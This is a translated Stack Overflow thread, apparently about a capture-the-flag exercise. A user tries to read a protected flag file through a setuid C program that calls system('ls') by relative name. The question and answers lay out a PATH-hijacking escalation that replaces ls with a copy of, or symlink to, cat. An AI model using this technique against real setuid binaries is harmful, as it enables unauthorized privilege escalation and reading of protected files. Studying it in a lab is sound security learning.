簡體   English   中英

如何將'ls'命令轉換為'cat'命令?

[英]How to convert 'ls' command to 'cat' command?

我試圖解決這個問題,我只允許運行ls命令,我的目標是讀取標志。 有一個易受攻擊的C代碼,它有setuid

    -rwsr-sr-x 1 lameprogrammer lameprogrammer 8579 Sep 15 07:21 vul_c
    -rw-r----- 1 lameprogrammer lameprogrammer  154 Sep 15 07:40 flag

我是用戶攻擊者 ,我必須閱讀此標志文件。 給定的C代碼是

    #include <stdlib.h>
    #include <stdio.h>

    #define FILENAME "/var/challenges/attacker/challenge1/flag"

    int main(void)
    {
        int vert;
        vert = system("ls " FILENAME);
        if(!vert)
            puts("Flag is at " FILENAME " :P ");
        else
            puts("Sorry! no file is there");
    }

我試圖將ls轉換為cat,這樣如果運行,那么它將讀取標志文件。 為此,我將所有bin文件夾復制到我的本地空間,然后用cat替換ls然后導出新的PATH。 從技術上講,它應該替換,我的ls命令應該像貓一樣工作,但它不起作用。 以下是我的命令:

   cp -r /bin /home/attacker
   cd /home/attacker/bin
   rm ls
   cp cat ls
   export PATH=/home/attacker/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/usr/games

ls命令不能正常使用cat和輸出是:

   ls: unrecognized option '--color=auto'
   Try 'ls --help' for more information.

當我試圖運行./vul_c它說權限被拒絕然后它打印對不起! 沒有檔案

對此的任何幫助都會很棒。

計划有效嗎? 我看到的問題是,如果你在shell中使用ls ,它是否有一個可以啟用着色的別名,即類似的東西

alias ls='ls --color=auto'

現在這是cat不會理解的東西。 但它只適用於您的 shell,而不是該腳本運行的ls命令,因為它不會使用別名。 也許像unalias ls這樣的東西會有助於shell。

現在, system函數無法運行你的ls因為它沒有適當的權限 - 你忘了chmod +x ls

你是在正確的方向,但你只是為這個小事做了太多的努力。 而不是創建程序為什么不創建符號鏈接,然后將其指向cat

嘗試這一步:

   ln -s /bin/cat ls

最后,導出這個,我希望你將完成你的解決方案。 在這方面,您甚至不必擔心許可。 如果有效,請告訴我。

請嘗試以下命令:

unalias ls

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM